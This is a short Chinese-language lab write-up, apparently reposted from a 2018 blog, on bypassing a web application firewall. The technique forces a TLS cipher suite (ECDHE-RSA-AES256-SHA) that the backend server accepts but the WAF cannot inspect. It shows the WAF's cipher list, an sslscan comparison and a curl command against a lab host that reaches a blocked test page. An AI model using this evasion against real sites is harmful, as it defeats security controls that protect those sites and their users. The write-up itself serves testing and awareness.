眾所周知的SSL/TLS握手過(guò)程:

如上圖1所示,server和client之間需要協(xié)商加密套件,如果client支持的加密套件不在server支持的范圍內(nèi)就無(wú)法正常工作。那么,如果client<--->server支持的加密套件超出waf支持的范圍,waf能拒絕嗎?
根據(jù)waf的文檔,支持的SSL加密套件如下:
SSLv3
SSL_RSA_WITH_NULL_MD5
SSL_RSA_WITH_NULL_SHA
SSL_RSA_WITH_RC4_128_MD5
SSL_RSA_WITH_RC4_128_SHA
SSL_RSA_WITH_DES_CBC_SHA
SSL_RSA_WITH_3DES_EDE_CBC_SHA
SSL_RSA_EXPORT_WITH_RC4_40_MD5
SSL_RSA_EXPORT_WITH_DES40_CBC_SHA
TLS/1.0-1.2
TLS_RSA_WITH_NULL_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_256_CBC_SHA
TLS_RSA_EXPORT1024_WITH_RC4_56_MD5
TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_RSA_WITH_AES_256_CBC_SHA256
TLS_RSA_WITH_RC4_128_MD5 = { 0x000x04 }
TLS_RSA_WITH_RC4_128_SHA = { 0x000x05 }
TLS_RSA_WITH_DES_CBC_SHA = { 0x000x09 }
waf后web服務(wù)端的SSL套件可以使用sslcan掃描獲得。
通過(guò)對(duì)比waf和web server的SSL套件,發(fā)現(xiàn)如下的套件web server支持但waf不支持:
Accepted TLSv1 256 bits ECDHE-RSA-AES256-SHA
web server增加一個(gè)測(cè)試頁(yè)面/ssl-cipher-test,且在waf上配置block URL路徑/ssl-cipher-test。
直接訪問(wèn)會(huì)成功攔截:

用制定的SSL套件可以bypass waf:
pwn@thinkpad:~$ curl--ciphersECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test HELLO
<htmllang=en>
? <title>HELLO </titile>
? <p>Bypass worked</p>
pwn@thinkpad:~$
來(lái)源:
https://0x09al.github.io/waf/bypass/ssl/2018/07/02/web-application-firewall-bypass.html